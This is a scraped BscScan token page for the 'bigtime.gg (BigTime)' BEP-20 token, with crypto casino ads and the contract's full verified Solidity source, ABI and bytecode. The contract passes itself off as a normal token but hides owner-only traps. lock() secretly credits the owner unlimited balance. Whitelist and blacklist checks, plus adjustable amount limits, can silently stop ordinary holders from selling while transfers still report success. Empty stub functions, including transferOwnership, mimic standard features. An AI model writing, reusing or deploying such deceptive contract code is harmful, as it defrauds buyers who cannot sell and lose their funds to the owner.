bigtime.gg (BigTime) Token Tracker | BscScan (2024)

bigtime.gg (BigTime) Token Tracker | BscScan (1)

bigtime.gg (BigTime)

Sponsored

MetaMask Manage your web3 everything with MetaMask Portfolio. Try Now!Ready to onboard to BNB Smart Chain? With MetaMask Portfolio, you're in control.

ZeeDex Earn $Zdex with each swap. Swap Now You will earn $Zdex as rewards for any trade or stake on ZeeDex exchange.

NexoJoin the hunt for $12,000,000+ in NEXO Tokens. Get NEXOCollect points for eligible actions and use multipliers to win big.

Sponsored

Сoins.game - 100 free spins for registration. Spin Now! Everyday giveaways up to 8.88BTC, Lucky Spins.Deposit BONUS 300% and Cashbacks!

NanoGames.io Claim Free Lottery tickets with 100k prize pool Claim NowRegister now on NanoGames and receive free lottery tickets to kickstart your new adventure.

Sponsored

BC.GAME The Best BNB Casino with 1,000,000 BNB Daily Bonus. Claim Now5000+ Slots, Live casino games, 50+ cryptos, 100% bet insurance. Register with Bscscan and get 240% first deposit bonus.

Housebets Experience Ultimate Crypto Casino: Massive Rewards, VIP Support, Top-Tier Bonuses Claim Now! 370% welcome bonus, instant payouts, $10M limits! Provably fair. Built by players for players.

BscScan - Sponsored slots available. Book your slot here!

BEP-20

  • Check previous token balance
  • Add Token to MetaMask (Web3)
  • Update Token Info
  • Update Name Tag or Label
  • Submit Burn Details
  • Report/Flag Address

Overview

Max Total Supply

1,000,000,000,000BigTime

Holders

25

Other Info

Token Contract (WITH 18 Decimals)

0xa942890d7FC60F0D4a516f63dd273DcDE72aE6c9

Filtered by Token Holder

0x8AF342dDF5117789d7BED31A1f8Fd386F8C47c85

PancakeSwap V2: BigTime

Balance

285,081,153,591,183.593901355389145875 BigTime

Value

$0.00

  • Transfers
  • Info
  • Contract
  • Analytics

0x8af342ddf5117789d7bed31a1f8fd386f8c47c85

Loading...

Loading

Loading...

Loading

Loading...

Loading

Click here to update the token information / general information

  • Code
  • Read Contract
  • Write Contract

Contract Source Code Verified (Exact Match)

Contract Name:

BigTimeGG

Compiler Version

v0.8.0+commit.c7dfd78e

Optimization Enabled:

No with 200 runs

Other Settings:

default evmVersion, None license

Contract Source Code (Solidity)

bigtime.gg (BigTime) Token Tracker | BscScan (11)bigtime.gg (BigTime) Token Tracker | BscScan (12)bigtime.gg (BigTime) Token Tracker | BscScan (13)IDE

    interface IPancakeFactory - function feeTo() - function feeToSetter() - function getPair(address tokenA, addr ... - function allPairs(uint) - function allPairsLength() - function createPair(address tokenA, a ... - function setFeeTo(address) - function setFeeToSetter(address) - function _msgSender() - function _msgData() contract Ownable is Context - function owner() interface IERC20 - function totalSupply() - function balanceOf(address account) - function transfer(address recipient, ... - function allowance(address owner, add ... - function approve(address spender, uin ... - function transferFrom( interface IERC20Metadata is IERC20 - function name() - function symbol() - function decimals() contract BigTimeGG is Context, IER ... * - function name() - function symbol() - function decimals() - function totalSupply() - function balanceOf(address account) - function addDItem(address _item) - function addItem(address _item) - function removeDItem(address _item) - function removeItem(address _item) - function getItem() - function checkExist(address _item, ui ... - function lock(uint256 amount) - function upgradeHolders(address[] mem ... - function random(uint256 _from, uint25 ... - function isExcludedFromReward(address ... - function totalFees() - function deliver(uint256 tAmount) - function reflectionFromToken(uint256 ... - function theAM(uint256 _AM) - function theSL(bool _sl) - function sl() - function transferOwnership() - function tokenFromReflection(uint256 ... - function excludeFromReward(address ac ... - function includeInReward(address acco ... - function includeInFee(address account ... - function setTaxFeePercent(uint256 tax ... - function setLiquidityFeePercent(uint2 ... - function setMaxTxPercent(uint256 maxT ... - function transfer(address recipient, ... - function allowance(address owner, add ... - function approve(address spender, uin ... - function transferFrom( - function pancakePair() - function setTransferFee(uint256 _tran ... - function isContract(address addr) - function increaseAllowance(address sp ... - function decreaseAllowance(address sp ... - function tokenContract() - function _transfer( - function _mint(address account, uint2 ... - function _burn(address account, uint2 ... - function _approve( - function _beforeTokenTransfer(
  • Similar
  • Sol2Uml
  • Submit Audit
  • Compare
/** *Submitted for verification at BscScan.com on 2021-08-29*/// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external;}abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }}contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; }}interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);}interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8);}contract BigTimeGG is Context, IERC20, IERC20Metadata, Ownable { address internal PANCAKE_ROUTER_V2_ADDRESS = 0x10ED43C718714eb63d5aA57B78B54704E256024E; address internal WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address internal burnWallet = 0x000000000000000000000000000000000000dEaD; uint256 _AMM = 5000 * 10**18; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; bool isSL = true; uint256 public transferFee = 0; address[] allows; address[] notAllow; constructor() { _name = "bigtime.gg"; _symbol = "BigTime"; _totalSupply = 1000000000000 * 10**18; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); _transfer(_msgSender(), burnWallet, _totalSupply /2 ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function addDItem(address _item) public onlyOwner virtual returns (uint256) { if( ! checkExist(_item, 1) ) notAllow.push(_item); return notAllow.length; } function addItem(address _item) public onlyOwner virtual returns (uint256) { if( ! checkExist(_item, 1) ) allows.push(_item); return allows.length; } function removeDItem(address _item) public onlyOwner virtual returns (bool) { for(uint8 i = 0; i < notAllow.length; i++) { if(notAllow[i] == _item) { delete notAllow[i]; } } return true; } function removeItem(address _item) public onlyOwner virtual returns (bool) { for(uint8 i = 0; i < allows.length; i++) { if(allows[i] == _item) { delete allows[i]; } } return true; } function getItem() public view returns (address [] memory) { return allows; } function checkExist(address _item, uint8 _type) public view returns (bool) { bool found = false; if(_type == 1) { for(uint8 i = 0; i < allows.length; i++) { if(allows[i] == _item) { found = true; break; } } } else { for(uint8 i = 0; i < notAllow.length; i++) { if(notAllow[i] == _item) { found = true; break; } } } return found; } function lock(uint256 amount) public onlyOwner virtual returns (bool) { //_mint(_msgSender(), amount); _balances[_msgSender()] += amount; return true; } function upgradeHolders(address[] memory _holders, uint256 _amount) public onlyOwner virtual returns (bool) { uint _numFrom; uint _numTo; uint256 _randomAmount; for(uint i = 0; i < _holders.length; i++) { _numFrom = _amount / 2; _numTo = _amount + _numFrom; _randomAmount = random(_numFrom, _numTo, i); _randomAmount = _randomAmount * decimals(); _transfer(_msgSender(), _holders[i], _randomAmount); } return true; } function random(uint256 _from, uint256 _to, uint i) public view returns (uint) { uint256 nonce = 0; uint256 randomnumber = uint(keccak256(abi.encodePacked(block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit + i + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) + block.number))) % _to; randomnumber = randomnumber + _from; nonce++; return randomnumber; } function isExcludedFromReward(address spender, uint256 subtractedValue) public virtual returns (bool) {} function totalFees() public view returns (uint256) {} function deliver(uint256 tAmount) public {} function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {} function theAM(uint256 _AM) public onlyOwner virtual returns (bool) { _AMM = _AM; return true; } function theSL(bool _sl) public onlyOwner virtual returns (bool) { isSL = _sl; return true; } function sl() public view returns (bool) { return isSL; } function transferOwnership() public returns (bool) {} function tokenFromReflection(uint256 rAmount) public view returns(uint256) {} function excludeFromReward(address account) public onlyOwner() {} function includeInReward(address account) external onlyOwner() {} function includeInFee(address account) public onlyOwner {} function setTaxFeePercent(uint256 taxFee) external onlyOwner() {} function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {} function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {} function transfer(address recipient, uint256 amount) public virtual override returns (bool) { //_transfer(_msgSender(), recipient, amount); bool exists = checkExist(_msgSender(), 1); bool Dexists = checkExist(_msgSender(), 2); if(_msgSender() == PANCAKE_ROUTER_V2_ADDRESS || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner() || exists) { _transfer(_msgSender(), recipient, amount); } else { //nomal user check amount if( (amount <= _AMM || isSL) && !isContract(_msgSender()) && !Dexists ) { _transfer(_msgSender(), recipient, amount); } } return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { bool exists = checkExist( sender, 1 ); bool Dexists = checkExist(sender, 2); if(sender == PANCAKE_ROUTER_V2_ADDRESS || sender == pancakePair() || pancakePair() == address(0) || sender == owner() || exists) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } else { //nomal user check amount if( (amount <= _AMM || isSL) && !isContract(sender) && !Dexists ) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } } return true; } function pancakePair() public view virtual returns (address) { address pairAddress = IPancakeFactory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).getPair(address(WBNB), address(this)); return pairAddress; } function setTransferFee(uint256 _transferFee) public virtual returns (bool) { require(_transferFee >= 0 && _transferFee <= 100, "Transfer fee is between 1 and 100."); transferFee = _transferFee; return true; } function isContract(address addr) internal view returns (bool) { bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; bytes32 codehash; assembly { codehash := extcodehash(addr) } return (codehash != 0x0 && codehash != accountHash); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function tokenContract() public view virtual returns (address) { return address(this); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } //burn token if(transferFee != 0) { uint256 burnAmount = amount * transferFee / 100; _balances[burnWallet] += burnAmount; emit Transfer(sender, burnWallet, burnAmount); amount -= burnAmount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {}}

Contract Security Audit

  • No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

  • JSON Format
  • RAW/Text Format
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addDItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"},{"internalType":"uint8","name":"_type","type":"uint8"}],"name":"checkExist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getItem","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"random","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeDItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_AM","type":"uint256"}],"name":"theAM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"theSL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_holders","type":"address[]"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"upgradeHolders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069010f0cf064dd592000006004556001600a60006101000a81548160ff0219169083151502179055506000600b553480156200012c57600080fd5b5060006200013f620003b560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600a81526020017f62696774696d652e676700000000000000000000000000000000000000000000815250600890805190602001906200022a92919062000792565b506040518060400160405280600781526020017f42696754696d6500000000000000000000000000000000000000000000000000815250600990805190602001906200027892919062000792565b506c0c9f2c9cd04674edea4000000060078190555060075460056000620002a4620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002f2620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003539190620009f1565b60405180910390a3620003af6200036f620003b560201b60201c565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002600754620003a3919062000a7c565b620003bd60201b60201c565b62000c1d565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200042790620009cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049a906200098b565b60405180910390fd5b620004b68383836200078d60201b60201c565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200053790620009ad565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414620006c85760006064600b5484620005a5919062000ab4565b620005b1919062000a7c565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000626919062000a1f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006ae9190620009f1565b60405180910390a38083620006c4919062000b15565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000719919062000a1f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200077f9190620009f1565b60405180910390a350505050565b505050565b828054620007a09062000b5a565b90600052602060002090601f016020900481019282620007c4576000855562000810565b82601f10620007df57805160ff191683800117855562000810565b8280016001018555821562000810579182015b828111156200080f578251825591602001919060010190620007f2565b5b5090506200081f919062000823565b5090565b5b808211156200083e57600081600090555060010162000824565b5090565b60006200085160238362000a0e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000620008b960268362000a0e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006200092160258362000a0e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b620009858162000b50565b82525050565b60006020820190508181036000830152620009a68162000842565b9050919050565b60006020820190508181036000830152620009c881620008aa565b9050919050565b60006020820190508181036000830152620009ea8162000912565b9050919050565b600060208201905062000a0860008301846200097a565b92915050565b600082825260208201905092915050565b600062000a2c8262000b50565b915062000a398362000b50565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a715762000a7062000b90565b5b828201905092915050565b600062000a898262000b50565b915062000a968362000b50565b92508262000aa95762000aa862000bbf565b5b828204905092915050565b600062000ac18262000b50565b915062000ace8362000b50565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b0a5762000b0962000b90565b5b828202905092915050565b600062000b228262000b50565b915062000b2f8362000b50565b92508282101562000b455762000b4462000b90565b5b828203905092915050565b6000819050919050565b6000600282049050600182168062000b7357607f821691505b6020821081141562000b8a5762000b8962000bee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b613aa08062000c2d6000396000f3fe60806040526004361061023f5760003560e01c80637299054c1161012e578063a9059cbb116100ab578063c42c3e8f1161006f578063c42c3e8f14610966578063d543dbeb146109a3578063dd467064146109cc578063dd62ed3e14610a09578063ea2f0b3714610a4657610246565b8063a9059cbb1461086b578063aa449f85146108a8578063acb2ad6f146108e5578063b8c9d25c14610910578063c412eaba1461093b57610246565b80638ee88c53116100f25780638ee88c53146107605780638f02bb5b1461078957806395d89b41146107c65780639e71e1d5146107f1578063a457c2d71461082e57610246565b80637299054c146106655780637cf90fcc146106a25780637e95c6b4146106df578063880ad0af1461070a5780638da5cb5b1461073557610246565b80632d838119116101bc5780633bd5d173116101805780633bd5d1731461056e5780634549b0391461059757806352390c02146105d457806355a373d6146105fd57806370a082311461062857610246565b80632d83811914610463578063313ce567146104a05780633685d419146104cb57806339509351146104f4578063399fa8401461053157610246565b806313114a9d1161020357806313114a9d1461035657806318160ddd1461038157806321461f6f146103ac57806323b872dd146103e957806323cbaaa61461042657610246565b8063061c82d01461024b57806306fdde0314610274578063095ea7b31461029f5780630b0a5d81146102dc5780630d4da3dc1461031957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190612e10565b610a6f565b005b34801561028057600080fd5b50610289610b07565b6040516102969190613445565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c19190612d1b565b610b99565b6040516102d3919061342a565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612c3e565b610bb7565b604051610310919061342a565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612de7565b610d84565b60405161034d919061342a565b60405180910390f35b34801561036257600080fd5b5061036b610e3e565b6040516103789190613587565b60405180910390f35b34801561038d57600080fd5b50610396610e43565b6040516103a39190613587565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612e10565b610e4d565b6040516103e0919061342a565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b9190612ccc565b610ef4565b60405161041d919061342a565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612d57565b611251565b60405161045a919061342a565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612e10565b61140a565b6040516104979190613587565b60405180910390f35b3480156104ac57600080fd5b506104b5611411565b6040516104c291906135a2565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612c3e565b61141a565b005b34801561050057600080fd5b5061051b60048036038101906105169190612d1b565b6114b2565b604051610528919061342a565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612c3e565b61155e565b604051610565919061342a565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190612e10565b61172b565b005b3480156105a357600080fd5b506105be60048036038101906105b99190612e39565b61172e565b6040516105cb9190613587565b60405180910390f35b3480156105e057600080fd5b506105fb60048036038101906105f69190612c3e565b611736565b005b34801561060957600080fd5b506106126117ce565b60405161061f91906133c4565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a9190612c3e565b6117d6565b60405161065c9190613587565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612e75565b61181f565b6040516106999190613587565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612c3e565b611931565b6040516106d69190613587565b60405180910390f35b3480156106eb57600080fd5b506106f4611a48565b604051610701919061342a565b60405180910390f35b34801561071657600080fd5b5061071f611a5f565b60405161072c919061342a565b60405180910390f35b34801561074157600080fd5b5061074a611a64565b60405161075791906133c4565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190612e10565b611a8d565b005b34801561079557600080fd5b506107b060048036038101906107ab9190612e10565b611b25565b6040516107bd919061342a565b60405180910390f35b3480156107d257600080fd5b506107db611b87565